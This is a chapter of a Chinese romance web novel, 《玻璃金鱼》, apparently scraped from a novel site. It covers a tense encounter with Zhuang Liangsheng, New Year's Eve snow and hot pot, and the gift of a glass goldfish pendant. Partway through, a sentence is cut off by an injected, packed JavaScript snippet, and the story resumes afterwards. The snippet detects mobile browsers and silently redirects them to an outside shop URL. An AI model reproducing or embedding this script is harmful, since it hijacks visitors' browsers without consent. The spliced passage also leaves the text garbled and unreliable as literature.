50. 谢谢你
作品:《玻璃金鱼》 林听榆接过傅喻钦手里的蛋糕:“我们先回去吧。”
“不舒服吗?”
“估计就是太久不出门不太习惯,社交能量耗尽了。”她笑笑,又恢复了原样,开始和傅喻钦商量,要怎么布置家里。
心里却忍不住浮现出刚才,在小巷里的画面。
庄良生。
林听榆记得他的名字,是因为他对傅梦婉做的事,与这个温和的名字完全相反。
仿佛看不出林听榆下意识摆出的防御姿态,庄良生自始至终都挂着友善的笑,邀请她去旁边的茶馆里聊聊。
“抱歉,傅喻钦还在那边等着我。”她刻意喊了傅喻钦的全名。
他姓傅,不姓庄。
庄良生也不介意,收回邀请的手,递给她一张名片:“如果可以的话,请你帮忙,转交给阿喻。”
顿了下,林听榆还是接过来,一张烫金的精致名片,上面没有写公司,也没有职位,只有庄良生的名字和号码。
在和城,庄良生已经不需要再用公司和职位来介绍自己。
“说起来,阿喻小时候,也很喜欢吃糖炒栗子。”
林听榆因为他那副怀念的模样皱起眉头,忍不住皱眉,打断道:“请问,有什么事吗?”
“阿喻还在等你,先回去吧。”庄良生笑笑,并不生气,只道,“我们改天再聊。”
那张名片被林听榆放在口袋里,像是个烫手山芋,让她贴窗花的时候心不在焉,坐在茶几前的地毯上吃心心念念的糖炒板栗,也提不起精神。
看她把板栗剥的乱七八糟,担心她被板栗壳扎到,傅喻钦索性把一袋子都放到自己这边,剥好再递给她。
林听榆心里有事,再怎么掩饰,还是难免显得垂头丧气。
光看样子,很容易让人误会是因为现在吃的东西热量太高,又忍不住不吃。
“没事儿,没给你剥几颗。”傅喻钦声音里都是笑意,哄道,“就这点热量,明晚吃顿火锅,保管让你又瘦回来。”
知道她是因为要艺考才这么在意食物,傅喻钦不会劝她吃一顿胖不了放开吃,也看不下去她大过年的只能饿着,一边给她控制着量,一边宽慰人。
以为她还在担心体重,傅喻钦笑着摇摇头,起身掺了杯温水放在她手边。
现在这样不是就很好吗?
庄良生来找自己之前,一定是现在傅喻钦那里碰过壁的,既然傅喻钦不说,那她也没必要提。
毕竟她再清楚不过,有的亲人之间,除了有血缘,其余什么都不算数。
她忍不住盯着傅喻钦看了一会儿,他垂着眸子,专注地像是在研究什么代码难题,其实只是在用那双骨节分明的手,在给她剥着还冒热气的糖炒栗子。
“嗯?”察觉到她的目光,傅喻钦下意识微微偏头,视线却还留在那颗褐色的糖炒栗子上,仔细剥掉上面细小的栗子皮。
“没什么。”
林听榆仰头,仰面靠在沙发上,由衷感叹了一句:“就是觉得,这已经算是很好的一年了。”
无论开端如何,结尾却是欣欣向荣,如果身边有他都不算好,那什么才算呢。
“嗯,是很好。”傅喻钦把剥好的栗子递给她,指尖相贴的瞬间,两个人望见对方的眼睛,都在笑。
*
除夕早上,林听榆没订闹钟,睡到自然醒,拉开窗帘就看到白茫茫的一片。
她穿着睡衣,蓬头垢面地跑出卧室,也顾不上冷不冷,就往阳台冲。
“穿外套!”
傅喻钦正在煎鸡蛋,扬声提醒她,正想关了火过去给林听榆拿衣服,她已经退回来,激动道:“我闻到雪的味道了!”
“什么味道?”他穿着家居服,头发长了一些,整个人都很柔软。
“溏心蛋的味道!”煎鸡蛋她只喜欢吃溏心的。
傅喻钦笑笑:“好,溏心蛋,快洗漱完吃早餐。”
把庄良生的事情暂时抛在脑后,一整天,林听榆心情都很好,早餐和午餐并在一起吃完,拉着傅喻钦下楼堆雪人。
雪已经停了,只有薄薄的一层,两人好不容易才堆起一个不算大的雪人。
“你有没有感觉,还差点什么?”
在海城生活了十多年,每年都要经历比这大很多倍的雪,却都没有这场雪能让她雀跃。
两支树棍插在边上做手臂,端详着雪人,林听榆思索道。
傅喻钦先看她的脸,才看雪人:“缺个鼻子?”
“那我去找颗石头吧。”
“满大街都是用石头当鼻子的雪人。”傅喻钦上前一步,干脆地扯下自己袖口上的扣子,放上去。
“这么果断吗?”林听榆笑。
“不是穿出门的衣服,没事。”两人都是在家居服外披了件羽绒服就出来了。
从各个角度,对着那个小小的雪人拍了好多张照片,林听榆满意收工,回家早早开始准备晚上的火锅大餐。
说来也巧,海城和逢城都没有春节吃饺子的习俗,倒是给他们省了很多步骤。
“怎么过年的时候骚扰电话更多了。”
皱眉挂断接连打来的几个电话,林听榆看着手机,突然发现什么:“你换头像了?”
把菜摆上餐桌,打开电视等着看春晚,林听榆回了几条十三中的同学发来的新年消息,打开朋友圈刷新,发现傅喻钦居然还发了朋友圈。
和新换的那张头像照片一样,是刚才两人堆的雪人,林听榆顺着点进去,他的朋友圈终于从冰冷的一条线,变成有着歪扭的、用纽扣做鼻子的雪人的图片。
“新年新气象。”
傅喻钦把火锅端过来,开了火,春晚刚好开始,辣锅那边的底料是思霏寄过来的,一闻味道,像是回了逢城。
那年的春晚小品还是很好笑,林听榆边吃边笑,碗里的菜总是吃不完。
中途傅喻钦接了个群聊电话,是谭立发起的,还不忘记在电话那头祝林听榆新年快乐。
等傅喻钦挂了电话,林听榆突然道:“其实之前,我对和大都不太了解。”
甚至因为听过太多人说,惋惜傅喻钦报了和大,对这个大学、连带着这座城市,都算不上喜欢。
和大在全国也是排前十的高校,但因为京市的好大学实在太多,从地理位置来看,实在算不上有优势。
她用词中规中矩,但傅喻钦还是轻易就从里面听出了一些明晃晃的喜恶,或许仅仅只是因为,这个地方困住了他。
许多人见林听榆的第一面
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17086982|189373||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
,总是会因为她太过耀眼的外貌,觉得她难以接近,走近了才会知道,她究竟有着怎样一颗温暖又柔软的心脏。
傅喻钦很难不因为这颗心脏展露出来的护短而动容。
好不容易压制住某种立刻涌起的冲动,他佯装平静,问道:“那现在呢?”
现在?
林听榆笑:“现在觉得,可能顺其自然也很不错。”
这几天,她第一次这么近距离,看到傅喻钦在为自己的事业倾尽全力,才再一次确定,他是无论在哪里,都会闪闪发光的人。
火锅咕嘟咕嘟冒着泡,吃火锅要散味,窗户开了一块缝隙,能隐约听见外面在放鞭炮的声音。
视线再往里,两人洗过的衣服各自挂在一边,被风慢慢吹到一起,像是真正的一家人。是比恋人还要更亲密的、可以无条件信任的关系。
而去年除夕,彼时她被情绪淹没,陪她一起走的人,也是傅喻钦。
这一年,是林听榆在南方完整度过的第一年,她以一种从未想过的方式,从逢城来到和城。尽管过程曲折,甚至一度以为自己坚持不下去,最后却还是全身心投入了艺考中。
因为傅喻钦,她开始重新慢慢相信,她依然拥有能从谷底爬上来的能力。
“新年快乐。”她从口袋里,终于把那个半年前就应该送出的礼物拿出来。
澄澈的灯光下,一只浅蓝的玻璃金鱼,折射出莹润的光。
傅喻钦的视线从她指尖灵动的金鱼挂坠,慢慢挪移到林听榆的眼神里。
林听榆早单方面强硬对傅喻钦约定过,不许互相送新年礼物,赶紧解释道:“这个不是新年礼物……”
顿了下,还是下定决心,认真解释道:“就,本来是想送给你当高考礼物的……”
那会儿她认定他们要各走各路,所以想要在最后关头,鼓起勇气,用这只玻璃金鱼告诉她,她对他,并不是只有推拒,也并不是要故意推拒。
最后阴差阳错醉酒,不知怎么的,就一直留下了。留到现在,他们好像正在朝着同一条路往前走。
她笑笑,又从口袋里拿出一只毛线套,把那尾栩栩如生的金鱼装进蓝色的套子里,顶端留出一条线,恰好织成挂坠的样式。
“老板说这个玻璃不算易碎,但毕竟是玻璃,思霏说可以织个套子,只是我学的慢,现在才学会……”
这是她给自己想好的理由。
“没关系,”傅喻钦克制住声音里的哑,“我不会让它碎。”
一只小小的玻璃金鱼,郑重地被放进他的掌心。
“谢谢你。”傅喻钦说。
谢谢你,愿意一直走到这,
谢谢你,愿意让我陪着你。
林听榆摇头,端起橙汁,掩饰自己的慌乱。
所以,其实拒绝说分开,是有效果的吧。
后来的后来,林听榆常常想,十八岁的夏天实在冗长,雨季漫长,怎么也晒不干。
但在这样的夏天里,也会有两条金鱼相遇,他们脆弱,曾经人生摇摇欲坠,最后却殊途同归,在同一片江河里相遇。
这样漫长的夏天里,你是我唯一的玻璃金鱼。
傅喻钦心口的那枚钉子,就这样,被完整地被钉进心脏里。

